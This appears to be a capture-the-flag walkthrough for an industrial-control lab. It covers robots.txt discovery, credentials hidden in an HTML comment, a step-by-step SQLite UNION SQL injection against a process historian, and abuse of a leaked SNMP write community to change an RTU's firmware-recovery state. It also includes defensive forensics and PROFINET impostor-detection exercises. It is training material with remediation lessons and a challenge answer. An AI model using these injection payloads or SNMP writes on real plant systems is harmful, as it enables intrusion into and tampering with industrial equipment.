Challenges

Initial Access — Hacking into the IT Server (before the OT)

Before starting the OT challenges, we need to gain access to the industrial web portal running on the target device. This is the IT foothold: get into the corporate/engineering console first, then pivot to the OT protocols the rest of the challenges live on.

The web server is available at 10.0.1.1 on TCP port 80. Our first task is to discover a hidden page, inspect its source code, and find the login credentials.

We can do this using either a web browser or curl.

Step 1: Access the Web Server

Method 1 — Web Browser

Open your browser and visit:

http://10.0.1.1

Method 2 — Terminal

curl -i http://10.0.1.1

This connects to the web server and displays its HTTP response — a plain corporate login gate.

Step 2: Discover robots.txt

Websites use robots.txt to tell search-engine crawlers which paths they should or should not access. Sometimes it also reveals interesting paths we can investigate.

Method 1 — Web Browser

Visit:

http://10.0.1.1/robots.txt

Method 2 — Terminal

curl http://10.0.1.1/robots.txt

Look through the output. You should discover:

User-agent: *
Disallow: /control
Disallow: /hist-config

Disallow is not access control — it's a polite request to crawlers, enforced by nothing. Those paths are just as reachable as any other. /control is the one we want next.

Step 3: Open the Hidden Control Page

Method 1 — Web Browser

Visit:

http://10.0.1.1/control

Once the page loads, press:

Ctrl + U

This opens the page's HTML source code. Search through the source for the username and password — the rendered page shows an "engineering maintenance notice" with no visible credentials.

Method 2 — Terminal

Retrieve the page source directly:

curl -s http://10.0.1.1/control

Read through the HTML and look for the login credentials.

Step 4: Find the Login Credentials

The /control page hides the credentials in an HTML comment — invisible on the rendered page, but right there in the source:

<!-- maintenance window: shared engineering account still active - eng / Rec0ncile!42 ... -->

So the credentials are:

Why are we doing this? A webpage contains more than what we see on screen. Its HTML source can hold comments, hidden elements, and other information not visible in the normal browser view. Here, inspecting the source reveals the credentials needed to access the portal.

Step 5: Log In to the Portal

Method 1 — Web Browser

1. Go to the console root http://10.0.1.1/.
2. Enter the username eng.
3. Enter the password Rec0ncile!42.
4. Click Sign In — you land on the operator HMI (/hmi).

Method 2 — Terminal using curl

The login form posts to /login with the fields user and pass. The ! in the password must be URL-encoded as %21 in the form body.

# authenticate and save the session cookie
curl -i -c cookies.txt -X POST 'http://10.0.1.1/login' \
  -d 'user=eng&pass=Rec0ncile!42'

# use the session cookie to reach the protected operator HMI
curl -i -b cookies.txt http://10.0.1.1/hmi

The cookies.txt file stores the authenticated session, which you then present on protected pages.

What We Learned

• robots.txt can reveal interesting website paths.
• /control is discovered through robots.txt.
• Ctrl + U opens the HTML source of a webpage.
• HTML source inspection can reveal information hidden from the normal page view (here, credentials in a comment).
• curl lets us perform the same investigation directly from the terminal.
• Cookies maintain an authenticated web session.

Objective: Discover /control, inspect its source, recover the login credentials (eng / Rec0ncile!42), and access the industrial web portal — your IT foothold before the OT challenges.

Points: 250

Protocol: HTTP
Target: HIST-04 Process Historian
IP Address: 10.0.1.1
Port: 9000/tcp

The Story

HIST-04 is a Process Historian. Think of it as a computer that remembers what happens inside an industrial plant.

It stores information such as:

• Tank water levels.
• Chlorine concentration.
• Water temperature.
• Pressure and flow rate.
• Other important plant readings.

The historian has a webpage called Data Browser. This page allows users to search through recorded process information.

But there is a problem!

The search box does not properly check what users type. Instead of treating the input as normal text, the database may treat it as part of an SQL command.

This weakness is called SQL Injection.

Your job is to discover the historian webpage, find the login credentials, access the Data Browser, exploit the SQL Injection vulnerability, and retrieve the hidden flag.

Part 1 — Discover the Historian Webpage

Step 1 — Find the First Clue Using robots.txt

We know that the target device is running a web server at:

http://10.0.1.1

But we don't know where the Process Historian webpage is located.

Let's investigate the website.

What is robots.txt?

Websites commonly have a file called robots.txt.

It provides instructions to search engine crawlers about which parts of a website they should or should not access.

Sometimes, this file also reveals interesting website paths that are not directly linked on the homepage.

Open this address

http://10.0.1.1/robots.txt

What should you do?

1. Open your web browser.
2. Enter the address above.
3. Read the contents of the file.
4. Look for any interesting paths related to the historian.

/hist-config

Step 2 — Investigate the Historian Configuration Page

We discovered /hist-config in the previous step.

Now let's open it.

Open this address

http://10.0.1.1/hist-config

What should you do?

1. Open the address in your browser.
2. Read the information displayed on the page.
3. Look for clues about the Process Historian.
4. Find the next webpage address and the login credentials.

Step 3 — Open the Historian Login Page

Now that we have discovered the webpage and login credentials, let's access the application.

Open this address

http://10.0.1.1/hist

What should you do?

1. Open the address in your browser.
2. You should see the HIST-04 login page.
3. Enter the username discovered in Step 2.
4. Enter the password discovered in Step 2.
5. Log in to the application.

After logging in, look for a tab called:

Data Browser

What is the Data Browser?

The Data Browser is a page that allows users to search through the historian's stored process data.

It contains a filter field called:

source

Normally, this field is used to search for records based on their source name.

For example, you might enter:

WaterTank

The application then searches for records related to that source.

This is the field we are going to investigate for SQL Injection.

Part 2 — Exploit the SQL Injection Vulnerability

What Is SQL Injection?

Before continuing, let's understand what SQL Injection means.

Imagine a website has a search box.

Normally, you type:

WaterTank

The website searches the database for records related to WaterTank.

But what if you type something that looks like a database command?

The website might accidentally execute it instead of treating it as normal text.

That is SQL Injection.

In this challenge, we will use SQL Injection to:

1. Check whether the search box is vulnerable.
2. Find how many columns the database query returns.
3. Discover the database tables.
4. Discover the columns inside the hidden table.
5. Retrieve the hidden flag.

Step 4 — Check Whether the Search Box Is Vulnerable

Before extracting anything, we need to confirm that SQL Injection actually works.

Query

Enter this into the source field:

' OR '1'='1

What does this query do?

Let's break it into small parts:

• ' — Closes the text value that the application may have started.
• OR — Tells the database that either condition can be true.
• '1'='1 — Compares 1 with 1. This condition is always TRUE.

In simple words, we are telling the database:

"Show me the records if the source matches my search OR if 1 equals 1."

Since 1=1 is always true, the database may return many more records than a normal search.

What should you look for?

Compare the results with a normal search term.

If the number of records changes significantly, or records appear that do not match your search, the input may be injectable.

Step 5 — Find the Number of Columns

Now that we have confirmed the injection point, we need to understand the structure of the original database query.

What is a column?

Think of a database table like an Excel spreadsheet.

• A row is one complete record.
• A column is one type of information.

For example:

Here, the table has three columns.

Why do we need the column count?

We are going to use something called UNION SELECT.

UNION SELECT combines the results of two database queries.

But there is one important rule:

Both queries must return the same number of columns.

For example, if the original query returns 10 columns, our injected query must also return 10 columns.

Query

Enter:

' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--

What does this query do?

Let's break it down:

• ' — Closes the original text value.
• UNION SELECT — Tries to combine our query with the original query.
• NULL — Represents an empty value. We use it as a placeholder because we do not know the column types yet.
• Ten NULL values — Our attempt to match the original query's ten columns.
• -- — Tells SQLite to ignore the remaining part of the original SQL statement.

If the query works without a column-count error, we have found the correct number of columns.

If it gives an error, adjust the number of NULL values until the query works.

Step 6 — Discover the Database Tables

Now we know how many columns the original query returns.

The next question is:

What tables exist inside the database?

Remember, a database can contain many tables, just like an Excel workbook can contain multiple sheets.

The backend in this challenge uses SQLite.

SQLite has a special table called sqlite_master.

This table stores information about the database structure, including table names and their creation statements.

Query

Enter:

' UNION SELECT name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type='table'--

What does this query do?

Let's break it down:

• ' — Closes the original text value.
• UNION SELECT — Combines our results with the original query.
• name — Asks SQLite to show the names of database objects.
• NULL — Fills the remaining columns because our original query expects ten columns.
• FROM sqlite_master — Reads information from SQLite's database structure table.
• WHERE type='table' — Shows only objects that are tables.
• -- — Ignores the remaining part of the original query.

In simple words:

"Go through the database's list of tables and show me their names."

flags

Step 7 — Discover the Columns Inside the Flags Table

We found a table called flags.

But we do not yet know what information it contains.

For example, it might have columns such as:

We need to confirm the actual column names.

Query

Enter:

' UNION SELECT sql, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type='table' AND name='flags'--

What does this query do?

Let's understand it:

• sql — Requests the SQL statement used to create the table.
• FROM sqlite_master — Reads the database structure information.
• WHERE type='table' — Searches only for tables.
• AND name='flags' — Selects only the table named flags.
• NULL — Fills the remaining columns.
• -- — Ignores the rest of the original query.

Remember that sqlite_master stores the original CREATE TABLE statement.

For example, a table might have been created using:

CREATE TABLE flags (
    id INTEGER,
    flag TEXT,
    description TEXT
);

This tells us that the table has three columns:

• id
• flag
• description

Our actual database may have a different definition, so read the result carefully.

CREATE TABLE flags (
    id INTEGER,
    flag TEXT,
    description TEXT
)

Step 8 — Retrieve the Hidden Flag

We have completed the important discovery steps:

• We found an injectable search field.
• We identified the required column count.
• We discovered the database tables.
• We found the flags table.
• We identified its columns.

Now we can retrieve the contents of the table.

Query

Enter:

' UNION SELECT id, flag, description, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM flags--

What does this query do?

Let's break it down:

• ' — Closes the original text value.
• UNION SELECT — Combines our results with the original query.
• id — Retrieves the record ID.
• flag — Retrieves the hidden flag.
• description — Retrieves the description.
• NULL — Fills the remaining seven columns.
• FROM flags — Reads the information from the flags table.
• -- — Ignores the remaining part of the original query.

In simple words:

"Open the flags table and show me the ID, flag, and description."

What You Learned

By completing this challenge, you learned:

1. robots.txt discovery: How to investigate a web server and find paths that are not directly linked on its homepage.
2. Web enumeration: How to follow clues from one webpage to another.
3. SQL Injection: How unsafe input handling can allow users to change a database query.
4. Testing an injection point: How a simple condition such as '1'='1 can help identify a vulnerable search field.
5. UNION SELECT: How to combine results from different database queries.
6. Column counting: Why both sides of a UNION query need the same number of columns.
7. SQLite enumeration: How sqlite_master can reveal database tables and their definitions.
8. Data extraction: How knowing a table's structure helps retrieve its contents.

Main Lesson

A search box should only accept search values. It should never allow users to change the SQL commands executed by the application.

The main security problem in this challenge is unsanitized user input.

A safer application uses parameterized SQL queries. These keep user input separate from SQL commands, preventing input from being interpreted as executable SQL.

Also, robots.txt should never be used to protect sensitive webpages. Login credentials and configuration information must be properly protected.

In a real industrial environment, a process historian may contain sensitive information about plant operations. Protecting its database is important because attackers could use exposed information to understand the plant and plan further attacks.

Points: 250

Protocol: SNMP (v2c)
Target: RTU-07
IP Address: 10.0.1.1
Port: 161/UDP
Toolkit module: None — use standard Net-SNMP tools.

The Story

RTU-07 is a Remote Terminal Unit (RTU) used in an industrial environment.

Think of an RTU as a small computer that communicates with industrial equipment and collects information from the plant.

After an incident, RTU-07 starts behaving incorrectly. Its firmware image appears to be corrupted.

The device reports:

[IMAGE CORRUPT - recovery required]

Luckily, the device has its own recovery system that can be controlled using SNMP.

However, there is a problem: we don't know the password required to perform the recovery operation.

The device has stored this password inside one of its SNMP information fields.

Your job is to:

1. Check whether the device is unhealthy.
2. Find the SNMP write community.
3. Enter recovery mode.
4. Restore the last-known-good firmware image.
5. Return the device to normal mode.
6. Verify that the device is healthy.
7. Retrieve the recovery flag.

About the Protocol — SNMP

SNMP stands for Simple Network Management Protocol.

It is used to monitor and manage network devices.

For example, administrators can use SNMP to:

• Check whether a device is running.
• Read device information.
• Monitor network interfaces.
• Check system health.
• Change certain device settings.

SNMP uses information fields called OIDs.

What is an OID?

OID stands for Object Identifier.

Think of an OID as an address that points to a particular piece of information inside a device.

For example:

1.3.6.1.2.1.1.1.0

This OID points to sysDescr, which contains the device description.

Two important SNMP commands

We will mainly use two commands.

1. snmpget

Used to read information from a device.

Example:

snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.1.0

2. snmpset

Used to change information on a device.

Example:

snmpset -v2c -c COMMUNITY 10.0.1.1 OID i VALUE

Understanding the command options

What is a community string?

A community string works like a password for SNMP access.

In this challenge, we have two community strings:

• public — Allows us to read information.
• r3c0v3ry-07 — Allows us to perform recovery operations.

Understanding the Recovery OIDs

The device provides a special recovery section in its SNMP database.

Its base OID is:

1.3.6.1.4.1.42424

Here are the important OIDs:

Important: The firmware image values are integers, not strings. Therefore, we must use i when writing the image number.

Step 1 — Check Whether the RTU Is Unhealthy

Before changing anything, we need to understand the current condition of the device.

We will use snmpget to read four values:

1. Device description.
2. Device health.
3. Currently running firmware image.
4. Last-known-good firmware image.

Commands

Run these commands in your terminal:

snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.1.0

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.5.0

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.2.0

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.3.0

What do these commands do?

Command 1 — Read the device description

snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.1.0

• snmpget asks the device for information.
• -v2c selects SNMP version 2c.
• -c public uses the read community.
• 10.0.1.1 is the RTU's IP address.
• 1.3.6.1.2.1.1.1.0 points to sysDescr.

This tells us what firmware or system description the device is reporting.

Command 2 — Check device health

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.5.0

This reads deviceHealth.

• 0 means unhealthy.
• 1 means healthy.

Command 3 — Check the running firmware

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.2.0

This reads fwRunningImage.

It tells us which firmware image the device is currently using.

Command 4 — Check the last-good firmware

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.3.0

This reads fwLastGoodImage.

It tells us which firmware image the device considers safe and working.

iso.3.6.1.2.1.1.1.0 = STRING: "Sysrupt RTU-07 firmware img=9001 [IMAGE CORRUPT - recovery required]"
iso.3.6.1.4.1.42424.5.0 = INTEGER: 0
iso.3.6.1.4.1.42424.2.0 = INTEGER: 9001
iso.3.6.1.4.1.42424.3.0 = INTEGER: 341

Sysrupt RTU-07 firmware img=9001 [IMAGE CORRUPT - recovery required]

INTEGER: 0

INTEGER: 9001

INTEGER: 341

Step 2 — Find the SNMP Write Community

We can read information using the public community, but we need a different community string to change the device's settings.

Where can we find it?

The challenge tells us that the write community is stored inside sysContact.

What is sysContact?

sysContact is a standard SNMP field that normally stores contact information about the person or team responsible for managing a device.

For example, it might contain:

Network Administrator

But in this challenge, the device has also stored its SNMP write community string there.

Command

snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.4.0

What does this command do?

• snmpget reads information from the device.
• -v2c selects SNMP version 2c.
• -c public uses the read community.
• 10.0.1.1 is the target RTU.
• 1.3.6.1.2.1.1.4.0 points to sysContact.

In simple words:

"Read the contact information stored inside the RTU."

iso.3.6.1.2.1.1.4.0 = STRING: "OT maintenance <noc@sysrupt.local>; SNMP write community: r3c0v3ry-07"

r3c0v3ry-07

Step 3 — Enter Recovery Mode

Now that we have the write community, we can start the recovery process.

But before restoring the firmware, we must put the device into recovery mode.

What is recovery mode?

Think of recovery mode as a special maintenance mode.

The device temporarily leaves its normal operating mode so that recovery operations can be performed.

According to the challenge:

• 0 = Normal run mode.
• 1 = Recovery mode.

We need to change fwRecoveryMode from 0 to 1.

Command

snmpset -v2c -c r3c0v3ry-07 10.0.1.1 1.3.6.1.4.1.42424.1.0 i 1

What does this command do?

Let's break it down:

• snmpset — Changes a value on the device.
• -v2c — Uses SNMP version 2c.
• -c r3c0v3ry-07 — Uses the write community we discovered in Step 2.
• 10.0.1.1 — Target RTU.
• 1.3.6.1.4.1.42424.1.0 — Points to fwRecoveryMode.
• i — Tells SNMP that we are writing an integer.
• 1 — Sets recovery mode to ON.

In simple words:

"Tell the RTU to enter recovery mode."

iso.3.6.1.4.1.42424.1.0 = INTEGER: 1

INTEGER: 1

Step 4 — Restore the Last-Known-Good Firmware

Remember what we discovered in Step 1?

We need to restore image 341.

Important: Why don't we write to fwRunningImage?

The fwRunningImage OID is read-only.

That means we cannot directly change its value.

Instead, the device provides another OID called fwRestoreImage.

We write the firmware image number into fwRestoreImage, and the device performs the restoration.

Command

snmpset -v2c -c r3c0v3ry-07 10.0.1.1 1.3.6.1.4.1.42424.4.0 i 341

What does this command do?

• snmpset — Writes a value to the device.
• -v2c — Uses SNMP version 2c.
• -c r3c0v3ry-07 — Uses the write community.
• 10.0.1.1 — Target RTU.
• 1.3.6.1.4.1.42424.4.0 — Points to fwRestoreImage.
• i — Specifies that the value is an integer.
• 341 — Selects the last-known-good firmware image.

In simple words:

"Tell the RTU to restore firmware image 341."

Why do we use i instead of s?

SNMP supports different data types.

• i means Integer.
• s means String.

Even though 341 looks like a firmware version, the device stores it as an integer.

Therefore, we must use:

i 341

Not:

s 341

iso.3.6.1.4.1.42424.4.0 = INTEGER: 0

INTEGER: 0

Step 5 — Return the RTU to Normal Mode

We have requested the firmware restoration.

Now we need to take the device out of recovery mode.

Remember:

• 1 = Recovery mode.
• 0 = Normal run mode.

Command

snmpset -v2c -c r3c0v3ry-07 10.0.1.1 1.3.6.1.4.1.42424.1.0 i 0

What does this command do?

• snmpset — Changes a device setting.
• -v2c — Uses SNMP version 2c.
• -c r3c0v3ry-07 — Uses the write community.
• 10.0.1.1 — Target RTU.
• 1.3.6.1.4.1.42424.1.0 — Points to fwRecoveryMode.
• i — Specifies an integer.
• 0 — Turns recovery mode OFF and returns the device to normal mode.

In simple words:

"Tell the RTU to leave recovery mode and start operating normally."

iso.3.6.1.4.1.42424.1.0 = INTEGER: 0

INTEGER: 0

Step 6 — Wait Until the Device Becomes Healthy

After leaving recovery mode, the RTU needs a few seconds to check its firmware.

It compares:

• The currently running firmware image.
• The last-known-good firmware image.

If they match and the device is in normal run mode, its health status becomes 1.

Instead of checking only once, we will repeatedly check until the device becomes healthy.

Command

until [ "$(snmpget -v2c -c public -Ovq 10.0.1.1 1.3.6.1.4.1.42424.5.0)" = "1" ]; do
    sleep 1
done

What does this command do?

Let's understand it part by part.

1. until

This tells Linux to keep repeating something until a condition becomes true.

2. snmpget

Reads the device health value.

3. -Ovq

This option tells SNMP to print only the value, without the OID name and data type.

For example, instead of:

iso.3.6.1.4.1.42424.5.0 = INTEGER: 1

It prints only:

1

4. = "1"

Checks whether the returned health value is equal to 1.

5. sleep 1

Waits for one second before checking again.

In simple words:

"Keep checking the RTU every second until its health value becomes 1."

Step 7 — Verify the Firmware and Retrieve the Flag

Now we need to confirm that the firmware was actually restored.

We will read two OIDs:

1. fwRunningImage — To check the currently running firmware.
2. recoveryFlag — To retrieve the challenge flag.

Command 1 — Check the running firmware

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.2.0

What does this command do?

It reads the firmware image currently running on the RTU.

We expect it to show:

341

That would mean the device is now running the last-known-good firmware.

Command 2 — Check the device health

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.5.0

What does this command do?

It reads deviceHealth.

• 0 means unhealthy.
• 1 means healthy.

We need this value to be 1 before considering the recovery fully verified.

Command 3 — Retrieve the recovery flag

snmpget -v2c -c public 10.0.1.1 1.3.6.1.4.1.42424.9.0

What does this command do?

It reads the recoveryFlag OID.

The challenge stores the flag here after successful recovery.

iso.3.6.1.4.1.42424.1.0 = INTEGER: 0
iso.3.6.1.4.1.42424.2.0 = INTEGER: 341
iso.3.6.1.4.1.42424.9.0 = ""

INTEGER: 0

INTEGER: 341

""

What You Learned

By completing this challenge, you learned:

1. SNMP basics: How to communicate with network devices using SNMP.
2. SNMP GET: How to read information from a device using snmpget.
3. SNMP SET: How to change device settings using snmpset.
4. Community strings: How SNMP uses community strings to control access.
5. OID enumeration: How to identify useful information stored inside a device.
6. Firmware recovery: How to use a device's built-in recovery mechanism.
7. SNMP data types: Why it is important to check whether an OID expects an integer or a string.
8. Health verification: Why we should verify the device's actual state instead of assuming that a successful SET means the entire operation is complete.

Main Lesson

SNMP is commonly used to monitor and manage industrial devices.

However, exposing sensitive information through SNMP can create security problems.

In this challenge, the device exposed its write community string inside the standard sysContact field.

An attacker who can read that field can discover credentials that allow them to change device settings.

This demonstrates why:

• Sensitive credentials should never be stored in publicly readable SNMP fields.
• Read and write access should be properly restricted.
• SNMP community strings should be protected.
• Device recovery operations should be monitored and authenticated.
• Device health should always be verified after recovery.

In a real industrial environment, unauthorized changes to an RTU's firmware or operating state could affect the monitoring and control of industrial equipment.

Points: 150

Type: Defensive · Points: 150 · Surface: Web (/mail, /evidence, /investigate) on TCP 80 · Toolkit module: None — plain curl

The Story

HIST-04, the plant's process historian, has been compromised. A trojan deliberately deleted a sample from the TURBINE.VIB vibration trend to hide evidence of suspicious activity.

However, the nightly backup still contains the original data. The challenge is that genuine communication outages have also created missing samples, making it difficult to identify the malicious deletion.

Your mission is to investigate the incident, compare the live trend with the backup, recover the exact missing value, and restore the record through the investigation portal.

Be careful: the restored record must remain stable for approximately 10 seconds before the challenge is marked complete.

Important: Some missing records are caused by genuine communication outages. We must compare the live trend and backup instead of assuming every gap is malicious.

Step 1: Access the Webmail and Retrieve the Evidence

1.1 Identify the login endpoint

Initially, accessing /mail returned:

HTTP/1.1 302 Found
Location: /

This means the portal redirected us to the login page because authentication was required.

We retrieved the login page HTML:

curl -i -L "http://10.0.1.1/evidence?f=historian_backup"

The HTML revealed the login form:

<form class=card method=POST action=/login>
<input name=user>
<input name=pass type=password>

This tells us: - Login endpoint: /login - Username parameter: user - Password parameter: pass

1.2 Login using curl

curl -i -c cookies.txt -X POST 'http://10.0.1.1/login' \
  -d 'user=eng&pass=Rec0ncile!42'

What this command does:

• -i displays HTTP response headers.
• -c cookies.txt saves the session cookies.
• -X POST sends a POST request.
• -d sends the login form data.
• Single quotes prevent Bash from interpreting the ! character in the password.

1.3 Access the evidence attachment

After authentication, use the saved cookies:

curl -i -b cookies.txt \
  "http://10.0.1.1/evidence?f=historian_backup"

To save the evidence into a file:

curl -s -b cookies.txt \
  "http://10.0.1.1/evidence?f=historian_backup" \
  -o hist.txt

cat hist.txt

# historian export 1/2 - LIVE TREND (HIST-04)
# columns: tag,seq,value,quality
TURBINE.VIB,50,701,Good
TURBINE.VIB,52,728,Good
TURBINE.VIB,54,751,Good
TURBINE.VIB,55,760,Good
TURBINE.VIB,56,772,Good
TURBINE.VIB,58,795,Good

# historian export 2/2 - NIGHTLY BACKUP (HIST-04, all monitored tags)
# columns: tag,seq,value,quality
REACTOR.TEMP,50,312,Good
PUMP.FLOW,50,488,Good
TURBINE.VIB,50,701,Good
REACTOR.TEMP,51,314,Good
PUMP.FLOW,51,492,Good
REACTOR.TEMP,52,311,Good
PUMP.FLOW,52,490,Good
TURBINE.VIB,52,728,Good
REACTOR.TEMP,53,315,Good
PUMP.FLOW,53,495,Good
TURBINE.VIB,53,742,Good
...

Step 2: Compare the Live Trend and Nightly Backup

2.1 Extract the sequence numbers

First, separate the live trend and backup sequence numbers:

awk '/LIVE TREND/{s=1} /NIGHTLY BACKUP/{s=2}
     /^TURBINE.VIB/{split($0,a,","); if(s==1) print a[2] > "live_seq"; else print a[2] > "bkp_seq"}' hist.txt

What this command does:

• awk reads the historian export line by line.
• When it finds LIVE TREND, it starts collecting live records.
• When it finds NIGHTLY BACKUP, it starts collecting backup records.
• ^TURBINE.VIB selects only the vibration records.
• split($0,a,",") separates the CSV fields.
• a[2] extracts the sequence number.
• The sequence numbers are saved into separate files.

2.2 Display both sequence lists

sort -n live_seq
echo "---"
sort -n bkp_seq

50
52
54
55
56
58

50
52
53
54
55
56
58

2.3 Find the missing record automatically

comm -13 <(sort live_seq) <(sort bkp_seq)

What this command does:

• comm compares two sorted files.
• -13 hides lines unique to the first file and lines common to both.
• It displays only the lines present in the second file but missing from the first.

53

51, 53, 57

Step 3: Recover the Original Deleted Value

3.1 Search for sequence number 53

grep '^TURBINE.VIB,53,' hist.txt

What this command does:

• grep searches for matching text in the file.
• ^TURBINE.VIB ensures the line starts with the correct tag.
• ,53, selects sequence number 53.

TURBINE.VIB,53,742,Good

Step 4: Restore the Deleted Record

4.1 Submit the recovered record

curl -i -b cookies.txt -c cookies.txt -X POST http://10.0.1.1/submit \
  --data 'ch=trojan&seq=53&value=742'

What this command does:

• -i displays the HTTP response.
• -b cookies.txt sends the authenticated session cookie.
• -c cookies.txt saves any updated cookies.
• -X POST submits the restoration request.
• ch=trojan selects the Trojan Historian challenge.
• seq=53 identifies the missing record.
• value=742 provides the original measurement.

4.2 Wait for the stability timer

After submitting the correct record, the challenge requires it to remain stable for approximately 10 seconds.

Run:

sleep 12

Do not submit any other values during this period.

4.3 Confirm the restoration

After waiting, submit the same values again:

Go to webpage and Submit

or

curl -i -b cookies.txt -c cookies.txt -X POST http://10.0.1.1/submit \
  --data 'ch=trojan&seq=53&value=742'

wired{tr0jan_h1st_r3st0r3d}

What We Learned

1. Historian data integrity: Process historians store measurements collected from industrial equipment.

2. Anti-forensics: Attackers may delete historical records to hide suspicious activity.

3. Backup comparison: Comparing live data against a retained backup helps identify deleted records.

4. Sequence numbers: Sequence numbers help identify missing samples in a trend.

5. False gaps: Communication outages can also create missing samples, so not every gap indicates an attack.

6. Data restoration: Recovering the original value from a backup allows the missing record to be restored.

7. Stability verification: A successful restoration must remain stable long enough for the system to accept it.

Final Answer

Points: 100

Protocol: PROFINET DCP
Layer: Ethernet (no IP address or port required for DCP discovery)
Capture File: dcp_capture.txt
Tools: Linux terminal, grep, Asset Inventory

The Story

IT Security captured network traffic from an industrial network.

While checking the traffic, they noticed something suspicious: two different devices were claiming to be the same PLC.

One device is the real PLC. The other device may be an attacker pretending to be the PLC.

Your job is to:

1. Find the real devices and their MAC addresses.
2. Find the device pretending to be the PLC.
3. Check the Asset Inventory and MAC vendor information.
4. Identify the attacker's MAC address.
5. Submit the MAC address.

About the Protocol — PROFINET DCP

PROFINET is a communication protocol used in industrial networks. It allows devices such as PLCs and other controllers to discover and identify each other.

DCP stands for Discovery and Configuration Protocol.

It helps devices find each other and exchange information such as:

• Device name.
• IP address.
• Network configuration.

Two important DCP messages used in this challenge are:

We will also look at ARP messages.

ARP helps devices find which MAC address belongs to an IP address.

A MAC address identifies a network interface, while an IP address identifies its network address.

Step 1 — Find the Real Devices

First, we need to find which devices are actually registered on the network.

We will use the DCP Identify responses from the capture.

Command

grep -A2 "Identify (5) / Response" dcp_capture.txt

What does this command do?

• grep searches for text inside a file.
• -A2 displays the matching line and the next two lines.
• "Identify (5) / Response" searches for PROFINET Identify responses.
• dcp_capture.txt is the captured network traffic file.

In simple words:

"Find all the devices that replied when the network asked them to identify themselves."

PROFINET DCP, ServiceID: Identify (5) / Response Success
    Block: Device/NameOfStation   "plc-01"
    Block: IP/IPParameter   IP: 10.0.1.21, Subnet: 255.255.255.0, Gateway: 10.0.1.1
--
PROFINET DCP, ServiceID: Identify (5) / Response Success
    Block: Device/NameOfStation   "rtu-02"
    Block: IP/IPParameter   IP: 10.0.1.22, Subnet: 255.255.255.0, Gateway: 10.0.1.1
--
PROFINET DCP, ServiceID: Identify (5) / Response Success
    Block: Device/NameOfStation   "hist-04"
    Block: IP/IPParameter   IP: 10.0.1.24, Subnet: 255.255.255.0, Gateway: 10.0.1.1

Step 2 — Find the Device Pretending to Be the PLC

Now we need to find out whether another device is claiming the identity of plc-01.

We will search for two types of messages:

• Gratuitous ARP messages.
• PROFINET Hello messages.

What is Gratuitous ARP?

A Gratuitous ARP is a message in which a device announces its own IP and MAC address to the network.

For example:

IP: 10.0.1.21
MAC: 0a:77:88:00:00:aa

This device is announcing that IP address 10.0.1.21 belongs to its MAC address.

If another device already owns that IP, this is suspicious.

Command

grep -B1 -A3 "gratuitous\|Hello (6)" dcp_capture.txt

What does this command do?

• grep searches the capture file.
• -B1 displays one line before a match.
• -A3 displays three lines after a match.
• gratuitous searches for Gratuitous ARP messages.
• \| means OR in this grep expression.
• Hello (6) searches for PROFINET Hello messages.
• dcp_capture.txt is our capture file.

In simple words:

"Find all the suspicious ARP announcements and PROFINET Hello messages."

Ethernet II, Src: 0a:77:88:00:00:aa, Dst: ff:ff:ff:ff:ff:ff
Address Resolution Protocol (gratuitous)
    Sender MAC: 0a:77:88:00:00:aa   Sender IP: 10.0.1.21
    Target  IP: 10.0.1.21

--
PROFINET acyclic Real-Time, DCP
PROFINET DCP, ServiceID: Hello (6) / Request
    Block: Device/NameOfStation   "plc-01"
    Block: IP/IPParameter   IP: 10.0.1.21, Subnet: 255.255.255.0, Gateway: 10.0.1.1

--
PROFINET acyclic Real-Time, DCP
PROFINET DCP, ServiceID: Hello (6) / Request
    Block: Device/NameOfStation   "plc-01"
    Block: IP/IPParameter   IP: 10.0.1.21, Subnet: 255.255.255.0, Gateway: 10.0.1.1

--
PROFINET acyclic Real-Time, DCP
PROFINET DCP, ServiceID: Hello (6) / Request
    Block: Device/NameOfStation   "rtu-02"
    Block: IP/IPParameter   IP: 10.0.1.22, Subnet: 255.255.255.0, Gateway: 10.0.1.1

Sender MAC: 0a:77:88:00:00:aa
Sender IP: 10.0.1.21

plc-01

NameOfStation: plc-01
IP: 10.0.1.21

0a:77:88:00:00:aa

Step 3 — Check the Asset Inventory and MAC Vendor

Finding two devices with the same identity is suspicious, but we need more evidence before identifying the attacker.

We will check two things:

1. Is the MAC address registered in the Asset Inventory?
2. Does its MAC vendor prefix match the known devices?

What is a MAC address?

A MAC address is a unique identifier assigned to a network interface.

Example:

0a:11:22:00:00:21

The first three bytes are commonly used to identify the vendor.

This part is called the OUI (Organizationally Unique Identifier).

For example:

0a:11:22:xx:xx:xx

Here, 0a:11:22 is the prefix we compare with the other devices.

What should you do?

Open the Asset Inventory tab in the application.

Search for both MAC addresses:

0a:11:22:00:00:21

0a:77:88:00:00:aa

Then compare their vendor prefixes.

0a:11:22:00:00:21  -> listed, "plc-01"
0a:77:88:00:00:aa  -> NOT in inventory

0a:11:22:xx:xx:xx  -> matches the known vendor prefix used by registered devices in this cell

0a:77:88:xx:xx:xx  -> different vendor prefix, not used by any registered asset

0a:77:88:00:00:aa

Step 4 — Submit the Finding

We have completed the investigation.

We found that two devices were claiming the identity of plc-01.

The real device is registered in the Asset Inventory, while the suspicious device is not.

The challenge asks us to submit the impostor's MAC address.

Submit this value

mac: 0a:77:88:00:00:aa

0a:77:88:00:00:aa

What You Learned

1. PROFINET DCP: How industrial devices discover and identify each other.
2. Identify messages: How to find device names and IP addresses from network traffic.
3. Hello messages: How devices announce their identity.
4. Gratuitous ARP: How devices announce their IP and MAC addresses.
5. MAC addresses: How to identify network interfaces.
6. Asset Inventory: How to check whether a device belongs to the network.
